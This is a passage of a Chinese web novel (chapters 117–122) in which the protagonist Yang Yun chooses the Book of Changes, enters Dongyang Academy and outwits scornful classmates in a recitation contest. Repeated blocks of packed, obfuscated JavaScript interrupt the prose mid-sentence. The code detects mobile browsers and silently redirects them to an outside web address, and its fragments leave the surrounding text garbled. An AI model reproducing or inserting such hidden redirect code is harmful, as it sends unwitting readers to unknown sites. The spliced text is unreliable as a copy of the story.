五经之中，《易经》两万四千两百零七字，最长的《春秋》，有二十八万字左右。 《春秋》虽字数多，但能写的东西不少，很多人依旧把本经定为《春秋》。 其他读书人或许有因为字数原因，不选《春秋》作为本经的，但像杨云这么直白地说出来，还是十分少见的。 罗孝荣看着杨云毫无羞愧之色的脸，不怒反笑，抬手指着他说： “好小子，能把这么不要脸的理由，这么直白说出来，你也算是够诚心的。” 见到罗孝荣没有骂他，杨云嘿嘿笑两声，脸上有些不好意思。 其实他选《易经》作本经，当然不是表面上说得那么简单。 五经之中，唯有《易经》与天地神秘有所联系。 杨云想着研究《易经》，说不定能搞懂他身上发生的事。 只是这个理由太过隐秘，不要说刚拜的老师罗孝荣，即便是母亲姜梅也不能说。 周仲看着杨云没有丝毫悔改的意思，连忙劝道： “杨兄，我觉得你还是不要读《易经》，跟着老师学《诗经》吧。” “老师在《诗经》上的造诣，别说是东平县，哪怕放眼整个云州，那也是名列前茅。” 五经互相不通，杨云要是不改本经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531928|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，罗孝荣这个老师起不到太大作用。 没等杨云说话，罗孝荣抬手打断周仲的劝告，看着杨云说： “我的本经虽然不是《易经》，但我可以推荐你去东阳书院。那里内舍老师卢毅乃我的至交好友，他的本经是《易经》，有我的面子，他必然会对你倾囊相授。” “又或，你可以改易学诗，我也会对你悉心指点。” 杨云这个学生十分聪慧，既然他想学易经，恐怕别人的话劝不动他。 周仲的眼中闪过一抹诧异惊奇的目光，却没有开口打扰杨云。 罗师的意思很明显，他想让杨云抉择，周仲当然不能越俎代庖。 杨云沉思片刻，最终抬起头来，神色坚定地看着罗孝荣说：“罗师，我还是想学《易经》。” 前世杨云读书的时候，已对《易经》很感兴趣，还买过不少国学大师对《易经》研究的著作，有这些作为基础，杨云在本经上一定可以突飞猛进。 要是跟着罗孝荣学《诗经》，固然可能有所成就，但相比《易经》，肯定要花更多时间。 见到杨云坚持要学《易经》，罗孝荣也没说什么，唤人把纸笔拿过来，立刻写一封信交给杨云，目中带着鼓励之色说： “既然你想学《易经》，那拿着这封信去东阳书院找卢毅，他会指点你的学习。” “但你要记住，书院内舍学生颇多，你得用心读书，奋发上进，莫要丢我的脸面。” 罗孝荣在东平县城也算一号人物，杨云又是他亲自写信让好友指点，若杨云在书院里得过且过，敷衍了事，别人不会说杨云，反而会说罗孝荣教徒不严。 杨云用力地点点头，十分慎重地接过罗孝荣的亲笔信，沉声说道： “请老师放心，学生在书院必然给老师争光！” 听到杨云有这个决心，罗孝荣的神色才不像方才那么严厉，平和地说： “你回去准备一下，后天拿着信到东阳书院去找卢毅，我会跟他提前打招呼的。” 第117章 东阳书院 第一百一十七章东阳书院 确定本经后，罗孝荣指点一下杨云的试帖诗和精义文章，等到下午才让两人离开。 从罗家出来，周仲看着天边的夕阳，脸上带着十分复杂的神色冲杨云拱拱手， “恭喜杨兄，可以去东阳书院读书了。” 听到周仲说话的语气有些不对，杨云回头打量他片刻，微微皱眉问道： “周兄，这东阳书院是个什么地方，听你的意思，好像很了不起的样子？” 周仲见杨云一脸诚恳，不像是在跟他开玩笑，疑惑地问： “你竟没有听过东阳书院的大名？” 杨云老老实实地摇头，他来到东平县还不到一年，这段时间他得应付杨玉昭的阴招，还得努力读书，中间又被卷入一桩灭门案，实在没工夫去了解其他事。 看到杨云真的没听过东阳书院的名头，周仲一边走一边对他说： “东阳书院是咱们东平县最好的书院，县里没**名的读书人，都想去那里读书。” “只是书院是由卢家出钱所建，里面的学生，不是卢家子弟，就是卢家的亲朋好友所荐，一般人根本进不去。” 杨云摸摸怀里的书信，带着几分疑惑看着周仲说： “听起来，好像也没有那么了不起。为什么会有那么多人趋之若鹜？” 对于杨云的浅薄见识，周仲有点无语，他摇摇头哼一声说： “没什么了不起？这么说吧，东阳书院迄今为止已经有六十多年的历史，咱们东平县这六十年来出过五个进士，其中有四个在东阳书院读过书。” 五个进士里有四个是东阳书院出身？ 杨云忍不住有点肃然起敬，这么看来，东阳书院是东平县的清华北大。 周仲见到杨云的神色没有方才那么放松，嘴角微微翘起，接着说道： “不光是进士，现下东阳书院的院长，致仕之前，是朝廷的四品大员，都察御史。” “几位老师也都有举人的才学，再过几年，说不定东阳书院又要出一位进士。” 听到东阳书院竟这么厉害，杨云轻轻点点头，颇为感慨地说： “没想到，竟能在这里遇到一位都察御史，这官在京城也勉强算是个人物了。” 以前杨云是天应侯府世子，除内阁的阁老及六部尚书等朝廷大员，别的官员在他眼里根本算不上什么。 但他现下只是一个普通庄户人家的孩子，朝廷四品大员对他而言，无疑是云端上的人物。 周仲听到杨云说，四品大员只是算个人物，差点把眼珠子瞪出来，他哼一声说： “算个人物？就算是咱们县的知县大人，见到他也得客客气气，县里有什么大事，都得找他商量，这样的人在你看来只是算个人物？” 东阳书院的院长虽然已经致仕，但他在朝中还有不少门生故旧，实力不可小觑，连知县，恐怕也没有杨云这么大的口气。 杨云干笑两声，知道他又拿以前的眼光看人，赶紧打个哈哈敷衍过去。 周仲知道杨云是无心的，也没跟他计较这件事，转而说起东阳书院的规矩， “东阳书院的学生，不管远近，都要住在书院之中，你去的时候带好被褥，还有，那里每个月要交三钱银子的伙食费，你不要忘了。” 杨云默默将这些东西记在心中，免得上门的时候没有准备。 两人边说边走，很快到岔路口，周仲站在路口，冲着杨云拱拱手，颇为不舍地说： “杨兄，今日一别，恐怕要到明年才能见到，我祝你学习能够与日俱进！” 听到周仲说明年才能再见，杨云不由得有些疑惑， “周兄，你怎么会这么说？难道你要闭关读书，整整一年吗？” 两人住的村子相隔不远，杨云要是真想见周仲，只要逢年过节来，能见到。 周仲摇摇头，目视着远处渐渐消融的冰雪，颇为自信地说： “今年的院试，我一定能够考中秀才，之后会跟随罗师，一起去州府参加秋闱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531929|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最快也要年底才能回来，我才说要明年才能相见。” 院试考中秀才后，周仲知道他大概率中不了举，但他本来也没有这个想法，而是要提前感受一下秋闱的氛围，为日后参加秋闱积累一点经验。 杨云仔细思索之后，用力地点点头，周仲的才学他很清楚，中个秀才不成问题。 但一想到两人这半年来的相处，杨云心中忍不住有些伤感，周仲用心教授他，现下骤然分开，他还真有点舍不得。 只是杨云不想让周仲看出他的伤感，故意做出一副嬉皮笑脸的样子说； “那不一定，万一我一路势如破竹，考中秀才，那咱们不是能一起去州府吗？” 连过县试，府试，院试三关，跟他一起去参加秋闱？ 周仲被杨云的狂言惊得眼睛大睁，过好一会儿才反应过来，杨云是在跟他开玩笑。 他大笑着拍拍杨云的肩膀，指着他说： “这是你说的！要是你真有这个本事，等到州府，我请你去最好的酒楼大吃一顿！” 杨云见到周仲笑起来，立刻抓住他的手指，半真半假地说： “你说的哈，一言为定，到时候别心疼银子！” 两人在笑声中分开，原本该有的愁绪被彻底冲散。 杨云在家里准备一天，揣着十两银子，拿着被褥，按照周仲说的地址来到东阳书院。 在东阳书院的门口，立着一座木制的牌坊，上面写着两个大大的金色楷书，进士。 看得出来，这座牌坊已经有些年头，只是过年之前刚刷过一遍新漆，看起来很漂亮。 杨云在牌坊下站一会儿，拿着被褥向里走去，不多时看到一座高墙灰瓦的建筑，他走到门口一看，上面的牌匾上写得四个大字，东阳书院。 杨云站在门口，深吸一口气，上前拍拍门，一个下人打扮的人探出头来，打量杨云片刻，又看到他手里的被褥，直截了当地说： “今年书院的春招已经结束，你等着九月秋招再来吧！” 第118章 直入内舍 第一百一十八章直入内舍 东阳书院每年有两个固定时间招生，但能进的人寥寥无几，即便这样还有不少人报名。 杨云来得不巧，东阳书院的春招三天前刚结束，门房以为他来晚了，才开口赶人。 见到门房对他是这种态度，杨云连忙抬手拦住他，神色略显不悦地说： “我是来读书的，有老师的亲笔信在！” 下人听到杨云有书信在身，眼中闪过一丝怀疑，上下打量着杨云问： “你老师是谁？该不会是哪个村里，不知天高地厚的秀才吧？” 东阳书院是东平县最负盛名的书院，不是随便什么人写封信推荐学生，东阳学院都会收。 看着下人一脸狐疑的神色，杨云无奈地撇撇嘴，伸手把罗孝荣的亲笔信拿出来，递过去， “要不，你先替学院的先生们过一遍目？” 下人拆主人信件是大错，轻则被打一顿赶出家门，重则杖毙。 杨云嫌这下人刚态度不好，故意揶揄一句，想必他也没有哪个胆子拆信。 听到杨云的怂恿，下人翻个白眼，刚准备讥讽几句，却看到信封上写，卢毅兄亲启，弟罗孝荣敬上。 他的心中忍不住一惊，连忙问：“你老师是罗孝荣罗先生？” 罗孝荣经常跟书院的先生们往来，书院的下人都知道他的名字，更知道先生们都认为罗孝荣有大才，将来必能蟾宫折桂。 现下他推荐学生来书院读书，先生们看在他的面子上，肯定会是收下这个学生！ 想到这里，下人知道他得罪错人，连忙换出一副热络的笑脸，推开书院小门说： “原来是罗先生的弟子，小人真是有眼无珠，还请这位小先生勿怪。” 杨云看着前后判若两人的门房，嗤笑着摇摇头，故意问道： “我能进去了？用不着等到九月了？” 下人知道杨云在挑他的理，连忙把信还给杨云，主动帮着拿被褥，不好意思地解释， “小先生您别生我的气，之前有好几个错过春招时间的学生，非要进书院见先生。” “我不把脸色摆得难看一点，他们是真的不走。” 每年都会有学生错过春招，在书院外面苦求再给一次机会。 这样的人，门房好言相劝，根本不走，只有摆出一副势利眼的架势，效果才最好。 杨云似笑非笑地看一眼门房，没计较他话语的真假，一路来到内舍先生卢毅的房间。 门房放下行李，站在门口高声冲里面说： “卢先生，有学生持罗孝荣先生的亲笔书信求见。” 屋里传出一个沉稳厚重，听起来非常可靠的声音， “知道了，让他进来吧。” 门房冲着杨云挤挤眼睛，杨云冲他微微拱手，整整衣冠，迈步走进房中。 卢毅房间的陈设十分简单，靠里的一面摆着四五个书架，上面堆得满满当当，靠窗的地方摆着一张书桌，桌上堆着不少纸张，想来应该是学生的作业。 书桌后面坐着一个看起来四十岁左右，方脸短须眉目粗硬的男人，他上下打量杨云一番， “你是孝荣贤弟说的那个学生？他的书信在哪？拿来于我一观。” 之前罗孝荣已经跟卢毅打过招呼，说杨云是个好苗子，让他多多提点。 卢毅看完罗笑容的信，手指轻轻在页脚弹两下，抬头看着杨云说： “孝荣在信中把你夸得天花乱坠，不知道是你真有这个本事，还是他看走眼。” 杨云知道卢毅这是有心要试试他的学问，拱手行礼，认真地说： “请先生考校。” 卢毅倒也不客气，开口问一道四书精义题，杨云不假思索，立刻答出来。 见杨云回答得速度这么快，卢毅的问题也渐渐变难，最后甚至问一些偏题，怪题。 几遍杨云把四书集注和精义背的滚瓜烂熟，还是被问一身汗。 看到杨云能把所有问题都回答上来，卢毅眼中才闪过一丝满意，轻轻点头说： “看来孝荣贤弟说得不假，但你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536101|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定要跟我学《易经》？” “《易经》虽短，但其内容包罗万象，博大精深，学起来很难的。” 杨云早已坚定专攻《易经》的心，毫不犹豫地回答， “愿意跟随先生学习。” 卢毅嘴角微微翘一下，极快地恢复成之前的沉静，淡淡地说： “现下已经是巳时，上午的课业你赶不上。这样，你出去找管事，带你先去内舍的学舍住下，等下午上课之前，我带你去学堂。” 杨云应一声，出来找到书院的管事，言明要去内舍的学舍住下。 管事眼中闪过一丝惊讶，但知道是卢毅的话后，也没多说什么，将杨云带到一间小屋，指着其中一张空着的木床对他说： “从今天开始，你住在那里，食宿全由书院负责，每个月三钱银子，” “每天卯时三刻起床，亥时三刻睡觉，每月放假一天，有事需向先生请假，然持条离开书院。一旦发现夜不归宿或私自出入，轻则警告，重则开革，你记住了。” 东阳书院治学的规矩极严，即便有罗孝荣的面子，也不可能对杨云网开一面。 杨云轻轻点头，从身上拿出钱交完食宿银，把被褥打开，铺床。 这间学舍里面已经住着三个人，但中午的时候他们没有回来，想来应该是冬日天短，中午吃完饭去学堂学习了。 午饭后，卢毅找到书院院长卢温，恭敬地禀告说： “院长，孝荣贤弟荐来的弟子我见过了。” “其人学识还算出挑，待人接物也算大方，若是好好琢磨，说不定能成才。” 院长将桌上的笔整理一下，淡淡地说： “既然是孝荣荐来的人，当对他更加严格才是，你多费些心力。” 卢毅点头应是，回到房间，却见杨云已经在门口等着。 他和杨云闲聊几句，带着杨云来到书院内的学堂，站在讲台之上，冲着学生们说： “今天我们内舍新来一位同学，名叫杨云，从今以后，他便跟你们一起学习。” 第119章 同学排挤 第一百一十九章同学排挤 杨云冲着学生们拱手行礼，只是这些同学的目光有审视，有狐疑，就是没有半点热情。 甚至还有几个人皱起眉头，明显对杨云十分不满。 “杨云，找个地方坐下，咱们开始上课。” 见学生这种反应，卢毅一点都不觉得奇怪，却没管，只是淡淡地说一声后开始上课。 只是他会时不时地看杨云一眼，心中暗想，这一关，不好过啊！ 杨云察觉到同学们隐隐对他的排斥，但他以为是互相之间不够熟悉，没放在心上，打开书本学起来。 相比四方村的周仲，卢毅讲课又快又密，张嘴是重点，杨云刚来还不习惯，一堂课下来，才勉强听懂一半。 卢毅讲完后，又答几个学生的疑点，看到杨云也在举手，他轻轻一点，“杨云，你有什么不懂的地方？” 杨云低头看看书本，起身问道： “先生，这句君子终日乾乾，夕惕若，厉无咎是什么意思？” 听到杨云的问题，学堂中的学生有的翻个白眼，有人一脸不屑，还有的轻笑出声， 这种最基础的释义题都不懂，也不知道杨云是怎么混进内舍的。 卢毅知道，之前杨云都是自学，有些不懂很正常，温和地对他讲道： “这句话是说，君子白天勤勉学习，晚上扪心自省，即便处于困境，亦可脱困而出。” 杨云恍然大悟地点点头，坐下仔细揣摩这句，不由得有更深的体悟。 卢毅见没人再提问，负手离开，让学生们休息一会儿，接着上课。 见到卢毅走了，杨云拿着书本，转头看向右边的同学，笑着问道： “同学，你知道先生刚才讲的这句话，是什么意思吗？” 没想到这个看起来斯斯文文的同学，冷哼一声，毫不客气地说： “我当然知道，不光我知道，整个内舍没人不知道。但我为什么要告诉你？” 见到这个同学对他这么恶劣，杨云眉头微微皱一下，但想到他初来学院，跟同学置气不好，看他一眼后，转头去问另一边的同学。 左边的同学没有对杨云恶语相加，而是在杨云转过来那一瞬，拿书本挡住他的脸，意思很明显，别问我，问我也不说！ 杨云再抬头，却发现内舍所有学生都在看着他，眼神中满是不屑和鄙夷。 有的人用眼睛斜看着杨云，嘴里说着阴阳怪气的话， “德不配位，必有灾殃。连这句话都不懂，竟还有脸学《易经》。” “德不配位财配位，人家是来咱们书院走个过场而已，咱们都是陪人家唱戏的龙套！” “我看财不配位，哪家有钱人会穿这种普通棉袄？应该穿貂裘才对。” 一人开口，剩下的怪话如雨点般打来，每一句都精准地命中杨云。 眼看所有同学都在嘲讽他，杨云反而来斗志。 当初在京城，老子连刑部尚书的儿子都敢打，现下还能怕几个书院里的同学？ 他把手里的《易经》往桌上一拍，抱着胳膊环视四周，冷笑着说： “子曰，赐也贤乎哉？夫我则不暇。你们这些人连《论语》都没读好，也好意思嘲笑我？” 杨云的前一句话是在说一段典故，圣贤的弟子端木赐议论别人，圣贤知道后说，你端木赐什么都好？夫子我都不去议论别人。 蒙在东阳书院读书的人，都是聪明人，立刻明白，杨云这是在借圣贤之言讽刺他们。 有人哼一声，对杨云反唇相讥， “一个靠关系进来的人，也敢以圣贤之言招摇撞骗？你肚里那点墨水，不出一月，必然原形毕露！” 杨云这才明白，为什么同学对他的敌意这么大，原来以为他是不学无术的纨绔子弟！ 仔细想想，他还真是靠罗孝荣的关系才进来，要不然只能等到九月再考进来。 搞清楚事情的原委后，杨云也没有解释，反而从垫子上长身而起，冲着周围的人拱手， “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你若是怕了，乖乖认输，找先生调到外舍读书，我们也不会追着你不放。” 剩下的同学纷纷起哄，嚷嚷着让杨云赶快认输。 杨云微微抬手，止住吵嚷的众人，嘴角带着一丝坏笑说： “我不是怕了，只是觉得这么大的场面，不带点彩头实在提不起干劲。” “你们敢不敢跟我赌一把？” 第120章 愿赌服输 第一百二十章愿赌服输 众多学子听到杨云的话，不约而同地皱起眉头，脸上的厌恶之色更重。 最后斯文同学冲着杨云摇摇头，沉声说： “杨云，不是我们胆小不跟你赌，而是书院严禁**，我们得守书院的规矩。” **从古至今都不是好东西，东阳书院身为东平县读书标杆，更不可能允许学生搞这些。 看着学生们如临大敌的样子，杨云轻描淡写地摇摇手，笑着解释说： “其实我是想要个彩头，不是真要跟你们**，不如你们先听听我的提议如何？” 众多学子面面相觑，最终决定先听听再说，若真跟**有关，再拒绝也来得及。 “我只有一个条件，若是你们在稍后的比试中输给我……” 见到学生们无人反对，杨云用手指在空中虚划一下，看着他们笑吟吟地继续说： “日后你们见到我，必须口称师兄，主动行礼，如何？” 学生们听到彩头没和金银挂钩，松一口气，但转念想到要叫杨云师兄，火又冒起来。 从东阳书院城里到现下，内舍从来没有出过什么师兄，大家都是平辈论交。 杨云一个关系户，竟想爬到所有人头上，简直狂妄至极！ 见到众人都在犹豫，杨云的眼睛微微一转，又给他们加一把火， “当然，你们要是害怕我这个关系户，退出也来得及，我保证以后不嘲笑你们！” “行，我答应你！” 斯文同学最先忍不住，第一个站出来，应下跟杨云的比试。 有带头的人，应者云集，不多时把整个内舍的人都牵扯进来。 杨云见到所有人都答应，心中暗笑，果然是些毛头小子，他一激全都上当了。 确定所有人都参加后，杨云沉思片刻，心中确定该怎么比试后，张口问道： “是故君子先慎乎德……” 斯文同学听杨云说半句不说了，立刻接口道： “有德此有人，有人此有土，有土此有财，有财此有用。” 那些反应慢的同学在后面微微点头，这是《大学》第十一章的内容，他们全都背过。 回答杨云的帖经题，斯文同学马上反问道： “是故居上不骄，为下不倍……” 杨云对四书早已经是倒背如流，想也不想地说： “国有道，其言足以兴，国无道，其默足以容……” 等答完这道题，杨云又问一句，这次换一个同学答，之后杨云也不假思索地答他的问题。 刚开始能答上来的人很多，但随着越问越偏，很多同学一时想不起来，杨云见到这种不能立刻回答的，马上竖起五根手指，一一屈下。 五根手指屈完，还没有答完的人，会自觉地退到一边，算是认输。 很快整间学堂只剩下三个人，能跟得上杨云的问答。 见到还有三人，杨云的眼睛微微闪动，题目的难度又上一级， “大学之道在明明德……这其中有三纲领，请问这三纲领分别是什么？” 已经退出的同学听到这道题，不约而同地吃一惊，刚才考的是四书原文，只要记性好，谁都能答得出来。 但现下杨云的题，已经是四书精义的内容，若是没有足够理解，根本回答不上来！ 一个圆脸粗眉，看起来有些老气的学生沉声说： “三纲领为明明德，亲民，止于至善。我们做学问的根本在于内修德行，教化万民，最终实现天下大同。” 杨云眼中闪过一丝诧异，他没想到有人能在这么短的时间内，把这道题答得这么好，东阳书院果然藏龙卧虎！ 圆脸同学脸上带着一抹兴奋问道：“孟子所说的四端之心是什么？请仔细说明！” 这个同学向来喜欢跟别人斗学问，今天总算被他给抓住机会。 这道题周仲当初考过杨云，他记得十分清楚，毫不犹豫地说： “恻隐，羞恶，是非，辞让，此四心为人之本善，只要能护此四心，可成为圣贤！” 紧接着杨云又问好几道题，最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546083|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩斯文同学一个人还在苦苦坚持。 内舍所有人再看向杨云的时候，眼神中已经没有轻视鄙夷，他们都看出来，杨云是初学五经，才不懂，但四书造诣，在所有学生中当为翘楚！ 斯文同学也看出这一点，但他不想内舍的脸被一个刚来的新生打，咬着牙硬撑下来。 杨云看着额头见汗的斯文同学，十分淡然地问出最后一个问题， “八条目中有格物致知之说，认为一草一木皆有至理，可小小草木如何承载至理？” 这下斯文同学蒙了，杨云这一问已经超出四书原著及释义，达到他从未接触的境界！ 杨云等一会儿，斯文同学还是愣愣不说话，他慢慢抬起右手，把大拇指扣向掌心。 斯文同学知道杨云这是在倒数，心里不由得着急，但越急越想不出来。 食指，中指，无名指，小指，时间到。 见杨云笑眯眯地看着他，斯文同学脱口说道： “你能答出这个问题吗？” 话刚出口，斯文同学脸色微红。 他没答出杨云的问题，证明杨云考住他，他不该发问。 现下问出来，有点耍赖的意思。 杨云没跟斯文同学计较，只是淡淡地说： “至理不以大小轻重而论，草木虽弱，亦能承载。” 这下斯文同学彻底服了，冲着杨云深深一躬，张口想叫师兄，却怎么都发不出声音。 剩下的人也一样，他们都算是东平县的天之骄子，平日里从来没有服过别人，现下突然要叫一个认识不到一天的师兄，怎么也拉不下面子。 看着众人为难的样子，杨云知道他们心里在想什么，毫不在意地笑着对他们说： “师兄之言，只是句玩笑，大家不必当真。但天马上要黑了，再不去吃饭，恐怕来不及了！” 众生这才发现，距离放课已经过小半个时辰，闹哄哄地从学堂跑出去。 斯文同学等到所有人都离开后，走到杨云面前小声地说： “师兄……” 第121章 同舍伙伴 第一百二十一章同舍伙伴 方才所有人都在，斯文同学实在是拉不下脸，现下只剩他和杨云，可以小声叫一句。 毕竟是他带头答应打赌的，输了，自然要履行之前的约定。 听到斯文同学竟真的叫他师兄，杨云不由得诧异地看他一眼，他都说那打赌是个玩笑，没想到斯文同学依旧叫师兄。 看着脸色涨红的斯文同学，杨云咧着嘴笑笑，冲着他客气地说： “同学，你叫我杨云就行，师兄一说只是玩笑，用不着当真。” 如果杨云真让同学们天天叫他师兄，那等于是每天都在提醒他们，你们都输给过他！ 这些学生心中都有傲气，他们肯定会想办法把这个面子找回来，到时候杨云和同学的关系肯定会越来越差。 先立下彩头，再免掉，等于凭空送同学们一个人情，以后相处肯定会越来越融洽。 斯文同学脸上的红色稍微褪去，却固执地摇摇头说： “在下卢汲，见过杨兄。方才的话在你看来是玩笑，但我既然答应，那不能不做。” 杨云没想到卢汲有点认死理，但他也没计较这些细节，热络地招呼卢汲， “咱们两个快去饭堂吧，去晚了真什么都没有了。” 卢汲轻轻点头，两个之前还剑拔**张的人，已经变成朋友，开心地聊着去饭堂。 东阳书院每个月收三钱银子的食宿费，吃得是真不错，即便杨云他们来晚了，依旧有烧肉，丸子，再配上一大碗白米饭，一碗蛋汤，杨云吃得饱饱的。 众人在饭堂吃过饭，却都没有回宿舍，而是回到学堂秉烛夜读，温**白天的功课。 看到这种情况，杨云暗暗点头，怪不得东阳书院能出那么多进士，光是这种学习氛围，不是什么地方都有的。 正好杨云白天听卢毅讲的《易经》，还有好多不懂的地方，他也回到学堂准备恶补一下。 只是到学堂他才尴尬地发现，别人的蜡烛都是自带，他第一天来，根本没准备。 在杨云准备厚脸皮问别人借一根的时候，坐在左边的卢汲注意到他的窘境，拿出一根颜色微微发黄的新烛递给他。 杨云也不客气，拿过蜡烛点上，学起来，遇到不懂的地方去问卢汲。 相比之前明显的鄙夷，卢汲现下有问必答，甚至还会问问杨云有没有听懂。 一根蜡烛燃尽，同学们才起身，顶着天上的星光，回到宿舍洗漱休息。 “杨兄，你跟我住在一起？” 回到学舍，杨云正准备洗漱的生活，却见到卢汲也走进来，脸上带着几分喜色。 经过一晚上的了解，卢汲觉得杨云这人聪慧机敏，知道进退，是个可以交往的朋友。 现下见到他跟他住在同一间学舍，心中自然欣喜莫名。 杨云也没想到卢汲跟他这么有缘分，两人闲聊几句，各自打水洗漱。 没多长时间，另外两位学舍同伴也洗漱回来，借着豆大烛火，杨云隐约看到，其中一人圆脸粗眉，另外一人相貌平平，但说话声音响亮，有若洪钟。 卢汲知道杨云还不认识这两人，主动介绍说： “杨云，这个眉毛比较粗重的是方怀礼方兄，那位说话跟敲钟一样的是席衍席兄。” 他又冲着方怀礼和席衍开玩笑说： “这位我不用介绍了吧？咱们内舍所有人的师兄，杨云杨兄。” 杨云冲着两人拱拱手，笑着摇头说： “师兄之说只是玩笑。两位，在下杨云，今日书院新来的学生，日后还请两位多多指点。” 看到杨云不拿之前赢的事压人，方怀礼和席衍也冲着杨云拱拱手，连道不敢。 吹灭烛火，众人躺在床上，因为放课之后文斗的事，一时间都有些睡不着。 最终还是卢汲忍不住，翻个身看着杨云的方向问： “杨兄，你的四书根底如此扎实，怎么对五经一点不懂？字还写得……那么一般。” 杨云在四书上的造诣，可以说是内舍之首，无人能与他相比，这是实实在在赢回来的！ 但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546084|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的人，不应该连五经的入门问题都不懂。 最重要的是，杨云的字写得实在不好，若说四书造诣他在内舍中排第一，他的那笔字在内舍中是倒数第一次，甚至外舍中都得垫底。 杨云不好意思地挠挠头，带着几分为难说： “我的蒙师觉得拜经师之后，再学比较好，才一直没有教我。” 至于字的事，杨云含糊过去了，他的字实在是拿不出手。 卢汲恍然大悟地点头， “这是老成持重之言，经师确实很重要，胡乱学习走上歧路，再想扳回来难了。” 东阳书院的学生从进入书院开始，有最好的老师，自然用不着担心这些细枝末节。 杨云有点回到大学寝室，跟室友夜聊的感觉，索性也开口问道： “我就算不懂五经，同学们对我的敌意也不应该那么大吧？” 一两个人对杨云有意见很正常，但所有人都对杨云有意见，那有点不对了。 声如洪钟的席衍也参与进来，带着一丝笑意说： “那是因为你是靠关系硬塞进来的，大家以为你不学无术，自然对你没有好脸色。” 方怀礼十分赞同地说： “没错，我们都是靠才学一场一场硬考进内舍的，连卢汲也不例外。” “突然多一个不知根底的陌生同学，大家自然不高兴。” 杨云弄清楚原委，兴致勃勃地问道： “一场一场考进内舍？怎么考的？” 卢汲见杨云什么都不懂，耐心地给他解释说： “内舍学生都是由外舍遴选而来，凡是能在每月的月考中，连续三次夺得前三名的人，才有资格进内舍。” “至于内舍学生，若是连续三次都是倒一，则要被打回外舍。” 这下杨云明白，别人辛辛苦苦考试，他刚来书院进内舍，他们心里自然不平衡。 他笑着摇摇头，又看着卢汲的方向问道： “卢兄，听方兄的意思，你好像出身县中的名门大户？” 第122章 小三关 第一百二十二章小三关 方才方怀礼说，所有内舍学生都是考进去的，连卢汲也不例外，这话的意思很明显，卢汲的出身不凡，应该可以跟杨云一样，免试进入内舍。 卢汲见杨云问起，也没有什么遮掩，十分坦荡地说： “我爷爷是咱们书院现下的院长，这件事同学们都知道。” 听到卢汲竟是院长的孙子，杨云不由得有些惊讶，他在卢汲身上完全没有看到官三代的痕迹，反而好像是个普通学生一样。 由此可见，卢家家教还是挺严的，将来说不定又要出一位朝廷大员。 杨云想到这里，嘿嘿笑两声，故意跟卢汲开玩笑说： “这么说来，日后还要请卢少爷多多照顾啊！” 剩下的方怀礼和席衍也纷纷起哄，弄得卢汲反而有点不好意思。 四人笑闹一阵，听到外面响起清脆的梆子声，知道亥时三刻到，纷纷闭口睡觉。 第二天卯时三刻，响亮的钟声把杨云从睡梦中叫醒，同舍伙伴都纷纷起床，四人在饭堂吃过早饭，才去学堂上课。 杨云很快习惯这里的生活，在卢毅的指导下，对《易经》的理解突飞猛进。 短短三天之后，杨云发现一个问题，趁着午饭过后，找到卢毅，委婉地说： “先生，我觉得您近日讲课的速度有些慢，能不能稍微快点？” 